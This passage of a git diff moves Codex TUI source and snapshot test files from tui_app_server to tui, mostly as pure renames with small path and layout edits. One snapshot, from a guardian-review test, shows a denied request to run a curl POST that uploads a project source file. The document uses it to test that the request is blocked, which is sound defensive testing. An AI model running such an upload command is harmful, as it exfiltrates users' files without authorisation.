a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_only_snapshot.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_only_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_only_snapshot.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_only_snapshot.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_with_details_and_queued_messages_snapshot.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_with_details_and_queued_messages_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_with_details_and_queued_messages_snapshot.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_with_details_and_queued_messages_snapshot.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__title_setup__tests__terminal_title_setup_basic.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__title_setup__tests__terminal_title_setup_basic.snap similarity index 96% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__title_setup__tests__terminal_title_setup_basic.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__title_setup__tests__terminal_title_setup_basic.snap index 0316b957b..9a6d41287 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__title_setup__tests__terminal_title_setup_basic.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__title_setup__tests__terminal_title_setup_basic.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/bottom_pane/title_setup.rs +source: tui/src/bottom_pane/title_setup.rs expression: "render_lines(&view, 84)" --- diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__unified_exec_footer__tests__render_many_sessions.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__unified_exec_footer__tests__render_many_sessions.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__unified_exec_footer__tests__render_many_sessions.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__unified_exec_footer__tests__render_many_sessions.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__unified_exec_footer__tests__render_more_sessions.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__unified_exec_footer__tests__render_more_sessions.snap similarity index 81% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__unified_exec_footer__tests__render_more_sessions.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__unified_exec_footer__tests__render_more_sessions.snap index 26c16791c..e9820815f 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__unified_exec_footer__tests__render_more_sessions.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__unified_exec_footer__tests__render_more_sessions.snap @@ -5,7 +5,7 @@ expression: "format!(\"{buf:?}\")" Buffer { area: Rect { x: 0, y: 0, width: 50, height: 1 }, content: [ - " 1 background terminal running · /ps to view · /c", + " 1 background terminal running · /ps to view · /s", ], styles: [ x: 0, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, diff --git a/codex-rs/tui_app_server/src/bottom_pane/status_line_setup.rs b/codex-rs/tui/src/bottom_pane/status_line_setup.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/status_line_setup.rs rename to codex-rs/tui/src/bottom_pane/status_line_setup.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/textarea.rs b/codex-rs/tui/src/bottom_pane/textarea.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/textarea.rs rename to codex-rs/tui/src/bottom_pane/textarea.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/title_setup.rs b/codex-rs/tui/src/bottom_pane/title_setup.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/title_setup.rs rename to codex-rs/tui/src/bottom_pane/title_setup.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/unified_exec_footer.rs b/codex-rs/tui/src/bottom_pane/unified_exec_footer.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/unified_exec_footer.rs rename to codex-rs/tui/src/bottom_pane/unified_exec_footer.rs diff --git a/codex-rs/tui_app_server/src/chatwidget.rs b/codex-rs/tui/src/chatwidget.rs similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget.rs rename to codex-rs/tui/src/chatwidget.rs diff --git a/codex-rs/tui_app_server/src/chatwidget/interrupts.rs b/codex-rs/tui/src/chatwidget/interrupts.rs similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/interrupts.rs rename to codex-rs/tui/src/chatwidget/interrupts.rs diff --git a/codex-rs/tui_app_server/src/chatwidget/plugins.rs b/codex-rs/tui/src/chatwidget/plugins.rs similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/plugins.rs rename to codex-rs/tui/src/chatwidget/plugins.rs diff --git a/codex-rs/tui_app_server/src/chatwidget/realtime.rs b/codex-rs/tui/src/chatwidget/realtime.rs similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/realtime.rs rename to codex-rs/tui/src/chatwidget/realtime.rs diff --git a/codex-rs/tui_app_server/src/chatwidget/session_header.rs b/codex-rs/tui/src/chatwidget/session_header.rs similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/session_header.rs rename to codex-rs/tui/src/chatwidget/session_header.rs diff --git a/codex-rs/tui_app_server/src/chatwidget/skills.rs b/codex-rs/tui/src/chatwidget/skills.rs similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/skills.rs rename to codex-rs/tui/src/chatwidget/skills.rs diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__app_server_collab_spawn_completed_renders_requested_model_and_effort.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__app_server_collab_spawn_completed_renders_requested_model_and_effort.snap similarity index 70% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__app_server_collab_spawn_completed_renders_requested_model_and_effort.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__app_server_collab_spawn_completed_renders_requested_model_and_effort.snap index 9165f6796..0b5eeed1a 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__app_server_collab_spawn_completed_renders_requested_model_and_effort.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__app_server_collab_spawn_completed_renders_requested_model_and_effort.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: combined --- • Spawned 019cff70-2599-75e2-af72-b91781b41a8e (gpt-5 high) diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__app_server_collab_wait_items_render_history.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__app_server_collab_wait_items_render_history.snap similarity index 80% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__app_server_collab_wait_items_render_history.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__app_server_collab_wait_items_render_history.snap index 17c08589a..21eaf5207 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__app_server_collab_wait_items_render_history.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__app_server_collab_wait_items_render_history.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: combined --- • Waiting for 2 agents diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__app_server_guardian_review_denied_renders_denied_request.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__app_server_guardian_review_denied_renders_denied_request.snap similarity index 86% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__app_server_guardian_review_denied_renders_denied_request.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__app_server_guardian_review_denied_renders_denied_request.snap index 75806d09d..ae9931efe 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__app_server_guardian_review_denied_renders_denied_request.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__app_server_guardian_review_denied_renders_denied_request.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: term.backend().vt100().screen().contents() --- ✗ Request denied for codex to run curl -sS -i -X POST --data-binary @core/src/c diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__apply_patch_manual_flow_history_approved.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__apply_patch_manual_flow_history_approved.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__apply_patch_manual_flow_history_approved.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__apply_patch_manual_flow_history_approved.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_exec.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_exec.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_exec.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_exec.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_exec_multiline_prefix_no_execpolicy.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_exec_multiline_prefix_no_execpolicy.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_exec_multiline_prefix_no_execpolicy.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_exec_multiline_prefix_no_execpolicy.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_exec_no_reason.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_exec_no_reason.snap similarity index 99% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_exec_no_reason.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_exec_no_reason.snap index 2bbe9aefc..04b278a12 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_exec_no_reason.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_exec_no_reason.snap @@ -2,6 +2,8 @@ source: tui/src/chatwidget/tests.rs expression: terminal.backend().vt100().screen().contents() --- + + Would you like to run the following command? $ echo hello world diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_patch.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_patch.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_patch.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_patch.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup.snap similarity index 96% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup.snap index af92fa867..f0956946c 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup.snap @@ -1,6 +1,5 @@ --- source: tui/src/chatwidget/tests.rs -assertion_line: 7368 expression: popup --- Update Model Permissions diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approvals_selection_popup.snap.new b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup.snap.new similarity index 94% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approvals_selection_popup.snap.new rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup.snap.new index e46707d87..7ac97d97c 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approvals_selection_popup.snap.new +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup.snap.new @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs assertion_line: 9607 expression: popup --- diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup@windows.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup@windows.snap similarity index 97% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup@windows.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup@windows.snap index 4faf8df3b..9c512c778 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup@windows.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup@windows.snap @@ -1,6 +1,5 @@ --- source: tui/src/chatwidget/tests.rs -assertion_line: 7365 expression: popup --- Update Model Permissions diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup@windows_degraded.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup@windows_degraded.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup@windows_degraded.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup@windows_degraded.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__apps_popup_loading_state.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__apps_popup_loading_state.snap similarity index 75% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__apps_popup_loading_state.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__apps_popup_loading_state.snap index b7a3be888..94d7aab6d 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__apps_popup_loading_state.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__apps_popup_loading_state.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: before --- Apps diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__binary_size_ideal_response.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__binary_size_ideal_response.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__binary_size_ideal_response.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__binary_size_ideal_response.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_idle_h1.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_idle_h1.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_idle_h1.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_idle_h1.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_idle_h2.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_idle_h2.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_idle_h2.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_idle_h2.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_idle_h3.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_idle_h3.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_idle_h3.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_idle_h3.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_running_h1.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_running_h1.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_running_h1.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_running_h1.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_running_h2.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_running_h2.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_running_h2.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_running_h2.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_running_h3.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_running_h3.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_running_h3.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_running_h3.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chatwidget_exec_and_status_layout_vt100_snapshot.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chatwidget_exec_and_status_layout_vt100_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chatwidget_exec_and_status_layout_vt100_snapshot.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chatwidget_exec_and_status_layout_vt100_snapshot.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chatwidget_markdown_code_blocks_vt100_snapshot.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chatwidget_markdown_code_blocks_vt100_snapshot.snap similarity index 77% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chatwidget_markdown_code_blocks_vt100_snapshot.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chatwidget_markdown_code_blocks_vt100_snapshot.snap index 1ed73b5fa..8017384f5 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chatwidget_markdown_code_blocks_vt100_snapshot.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chatwidget_markdown_code_blocks_vt100_snapshot.snap @@ -1,7 +1,42 @@ --- source: tui/src/chatwidget/tests.rs -expression: visual +expression: term.backend().vt100().screen().contents() --- + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + • -- Indented code block (4 spaces) SELECT * FROM "users" diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chatwidget_tall.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chatwidget_tall.snap similarity index 87% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chatwidget_tall.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chatwidget_tall.snap index 2e961c375..2200aaa74 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chatwidget_tall.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chatwidget_tall.snap @@ -2,7 +2,6 @@ source: tui/src/chatwidget/tests.rs expression: term.backend().vt100().screen().contents() --- - • Working (0s • esc to interrupt) • Queued follow-up messages @@ -25,4 +24,4 @@ expression: term.backend().vt100().screen().contents() › Ask Codex to do anything - ? for shortcuts 100% context left + gpt-5.3-codex default · 100% left · /tmp/project diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__compact_queues_user_messages_snapshot.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__compact_queues_user_messages_snapshot.snap similarity index 85% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__compact_queues_user_messages_snapshot.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__compact_queues_user_messages_snapshot.snap index 8c4670d3a..c79f795b2 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__compact_queues_user_messages_snapshot.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__compact_queues_user_messages_snapshot.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: term.backend().vt100().screen().contents() --- • Working (0s • esc to interrupt) diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__deltas_then_same_final_message_are_rendered_snapshot.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__deltas_then_same_final_message_are_rendered_snapshot.snap similarity index 75% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__deltas_then_same_final_message_are_rendered_snapshot.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__deltas_then_same_final_message_are_rendered_snapshot.snap index 042b80769..e353cbef2 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__deltas_then_same_final_message_are_rendered_snapshot.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__deltas_then_same_final_message_are_rendered_snapshot.snap @@ -1,6 +1,5 @@ --- source: tui/src/chatwidget/tests.rs -assertion_line: 9494 expression: combined --- diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__disabled_slash_command_while_task_running_snapshot.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__disabled_slash_command_while_task_running_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__disabled_slash_command_while_task_running_snapshot.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__disabled_slash_command_while_task_running_snapshot.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_history_decision_aborted_long.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_history_decision_aborted_long.snap similarity index 91% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_history_decision_aborted_long.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_history_decision_aborted_long.snap index f04e1f078..44ed1f401 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_history_decision_aborted_long.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_history_decision_aborted_long.snap @@ -1,6 +1,5 @@ --- source: tui/src/chatwidget/tests.rs -assertion_line: 495 expression: lines_to_single_string(&aborted_long) --- ✗ You canceled the request to run echo diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_history_decision_aborted_multiline.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_history_decision_aborted_multiline.snap similarity index 99% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_history_decision_aborted_multiline.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_history_decision_aborted_multiline.snap index d35cb1759..5aee3b284 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_history_decision_aborted_multiline.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_history_decision_aborted_multiline.snap @@ -3,4 +3,3 @@ source: tui/src/chatwidget/tests.rs expression: lines_to_single_string(&aborted_multi) --- ✗ You canceled the request to run echo line1 ... - diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_history_decision_approved_short.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_history_decision_approved_short.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_history_decision_approved_short.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_history_decision_approved_short.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_modal_exec.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_modal_exec.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_modal_exec.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_modal_exec.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__experimental_features_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__experimental_features_popup.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__experimental_features_popup.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__experimental_features_popup.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step1_start_ls.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step1_start_ls.snap similarity index 71% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step1_start_ls.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step1_start_ls.snap index 588a9503e..a69fccd30 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step1_start_ls.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step1_start_ls.snap @@ -1,6 +1,6 @@ --- source: tui/src/chatwidget/tests.rs -expression: blob1 +expression: active_blob(&chat) --- • Exploring └ List ls -la diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step2_finish_ls.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step2_finish_ls.snap similarity index 70% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step2_finish_ls.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step2_finish_ls.snap index 492e8b770..e7155b845 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step2_finish_ls.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step2_finish_ls.snap @@ -1,6 +1,6 @@ --- source: tui/src/chatwidget/tests.rs -expression: blob2 +expression: active_blob(&chat) --- • Explored └ List ls -la diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step3_start_cat_foo.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step3_start_cat_foo.snap similarity index 75% rename from 